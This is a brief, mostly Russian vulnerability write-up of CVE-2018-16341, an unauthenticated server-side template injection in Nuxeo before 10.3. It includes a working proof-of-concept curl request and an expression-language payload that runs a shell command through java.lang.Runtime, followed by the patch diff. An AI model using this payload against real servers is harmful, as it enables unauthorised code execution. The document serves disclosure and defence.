
CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection
Обход аутентификации Nuxeo и удалённое выполнение кода версии < 10.3 с помощью SSTI - CVE-2018-16341

Подробный анализ (не на английском):
Уведомление о безопасности:
Примечание: Версия Nuxeo 9.x больше не поддерживается компанией Nuxeo, но для версии 9.x был предоставлен патч. С моей стороны, версия 9.10 была уязвима.
Этот PoC эксплуатирует инъекцию шаблонов на стороне сервера (SSTI) для достижения RCE, которая находится в файле NuxeoUnknownResource.java
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
Исправление
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}